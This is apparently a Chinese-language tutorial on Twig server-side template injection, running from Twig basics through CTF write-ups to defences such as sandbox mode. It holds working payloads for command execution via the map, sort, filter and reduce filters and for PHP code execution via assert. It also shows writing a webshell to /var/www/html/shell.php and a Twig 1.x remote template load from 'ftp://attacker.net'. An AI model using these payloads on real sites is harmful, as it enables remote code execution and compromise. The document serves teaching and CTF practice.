Twig 模板注入从零到一
字数 960 2025-08-05 00:15:28

Twig 模板注入从零到一

1. Twig 简介

Twig 是一个灵活、快速、安全的 PHP 模板语言,具有以下特点:

  • 快速:将模板编译成优化的原始 PHP 代码
  • 安全:拥有沙盒模型检测不可信的模板代码
  • 灵活:由灵活的词法分析器和语法分析器组成,可自定义标签和过滤器

使用场景

  • 被 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM 等开源项目使用
  • 支持 Slim、Yii、Laravel 和 Codeigniter 等框架

2. Twig 安装

版本要求

  • Twig 3.x 需要 PHP 7.2.5+

安装方式

composer require "twig/twig:^3.0"

基本使用示例

require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
    'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['name' => 'whoami']);

文件系统加载器

$loader = new \Twig\Loader\FilesystemLoader('./views');
$twig = new \Twig\Environment($loader, [
    'cache' => './cache/views',
]);
echo $twig->render('index.html', ['name' => 'whoami']);

3. Twig 基础语法

3.1 基本结构

  • 分隔符:{% %} 用于执行语句,{{ }} 用于输出表达式结果
  • 注释:{# 注释内容 #}

3.2 变量操作

{% set foo = {'foo': 'bar'} %}  {# 设置变量 #}
{{ foo.foo }}  {# 访问对象属性 #}
{{ foo['foo'] }}  {# 访问数组元素 #}

3.3 过滤器

{{ '<a>whoami<a>'|striptags|title }}  {# 输出: Whoami! #}
{{ ['a', 'b', 'c']|join('|') }}  {# 输出: a|b|c #}

3.4 函数

{{ range(0, 3) }}  {# 输出: 0, 1, 2, 3 #}

3.5 控制结构

{% for user in users %}
    {{ user.username|e }}
{% endfor %}

{% if users|length > 0 %}
    {{ users|length }}
{% endif %}

3.6 模板继承

基础模板 (base.html)

<!DOCTYPE html>
<html>
<head>
    <title>{% block title %}{% endblock %} - My Webpage</title>
</head>
<body>
    <div id="content">{% block content %}{% endblock %}</div>
</body>
</html>

子模板

{% extends "base.html" %}

{% block title %}Index{% endblock %}

{% block content %}
    <h1>Index</h1>
    <p>Welcome to my awesome homepage.</p>
{% endblock %}

4. Twig 模板注入

4.1 漏洞产生条件

当用户输入直接作为模板内容时:

$template = $twig->createTemplate("Hello {$_GET['name']}!");  // 危险
echo $twig->render('index', ['name' => 'whoami']);  // 安全

4.2 Twig 1.x 利用

全局变量

  • _self: 当前模板实例
  • _context: 当前上下文
  • _charset: 当前字符集

利用方法

  1. 通过 _self 访问 Twig_Environment
{{ _self.env.setCache("ftp://attacker.net") }}
{{ _self.env.loadTemplate("backdoor") }}
  1. 通过 getFilter 方法执行命令:
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}

4.3 Twig 2.x/3.x 利用

4.3.1 map 过滤器利用

{{["id"]|map("system")}}  {# 执行系统命令 #}
{{["phpinfo();"]|map("assert")|join(",")}}  {# 执行PHP代码 #}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}  {# 写Webshell #}

4.3.2 sort 过滤器利用

{{["id", 0]|sort("system")}}  {# 执行系统命令 #}

4.3.3 filter 过滤器利用

{{["id"]|filter("system")}}  {# 执行系统命令 #}

4.3.4 reduce 过滤器利用

{{[0, 0]|reduce("system", "id")}}  {# 执行系统命令 #}

5. CTF 例题分析

5.1 [BJDCTF2020]Cookie is so stable

漏洞点:Cookie 处存在 SSTI
解法:使用 Twig 1.x 的 _self 利用方式

5.2 [VolgaCTF 2020 Qualifier]Newsletter

漏洞代码

$name = substr($email, 0, strpos($email, '@'));
$content = $this->get('twig')->createTemplate("<p>Hello ${name}.</p>")->render();

绕过方法

"{{['id']|map('passthru')}}"@qq.com

6. 防御措施

  1. 避免直接将用户输入作为模板
  2. 使用 Twig 的沙盒模式:
$sandbox = new \Twig\Sandbox\SecurityPolicy([], [], [], [], []);
$twig = new \Twig\Environment($loader, ['sandbox' => $sandbox]);
  1. 及时更新 Twig 版本

7. 参考资源

Twig 模板注入从零到一 1. Twig 简介 Twig 是一个灵活、快速、安全的 PHP 模板语言,具有以下特点: 快速 :将模板编译成优化的原始 PHP 代码 安全 :拥有沙盒模型检测不可信的模板代码 灵活 :由灵活的词法分析器和语法分析器组成,可自定义标签和过滤器 使用场景 : 被 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM 等开源项目使用 支持 Slim、Yii、Laravel 和 Codeigniter 等框架 2. Twig 安装 版本要求 : Twig 3.x 需要 PHP 7.2.5+ 安装方式 : 基本使用示例 : 文件系统加载器 : 3. Twig 基础语法 3.1 基本结构 分隔符: {% %} 用于执行语句, {{ }} 用于输出表达式结果 注释: {# 注释内容 #} 3.2 变量操作 3.3 过滤器 3.4 函数 3.5 控制结构 3.6 模板继承 基础模板 (base.html) : 子模板 : 4. Twig 模板注入 4.1 漏洞产生条件 当用户输入直接作为模板内容时: 4.2 Twig 1.x 利用 全局变量 : _self : 当前模板实例 _context : 当前上下文 _charset : 当前字符集 利用方法 : 通过 _self 访问 Twig_Environment : 通过 getFilter 方法执行命令: 4.3 Twig 2.x/3.x 利用 4.3.1 map 过滤器利用 4.3.2 sort 过滤器利用 4.3.3 filter 过滤器利用 4.3.4 reduce 过滤器利用 5. CTF 例题分析 5.1 [ BJDCTF2020 ]Cookie is so stable 漏洞点 :Cookie 处存在 SSTI 解法 :使用 Twig 1.x 的 _self 利用方式 5.2 [ VolgaCTF 2020 Qualifier ]Newsletter 漏洞代码 : 绕过方法 : 6. 防御措施 避免直接将用户输入作为模板 使用 Twig 的沙盒模式: 及时更新 Twig 版本 7. 参考资源 Twig 官方文档 Twig 过滤器列表 Twig 函数列表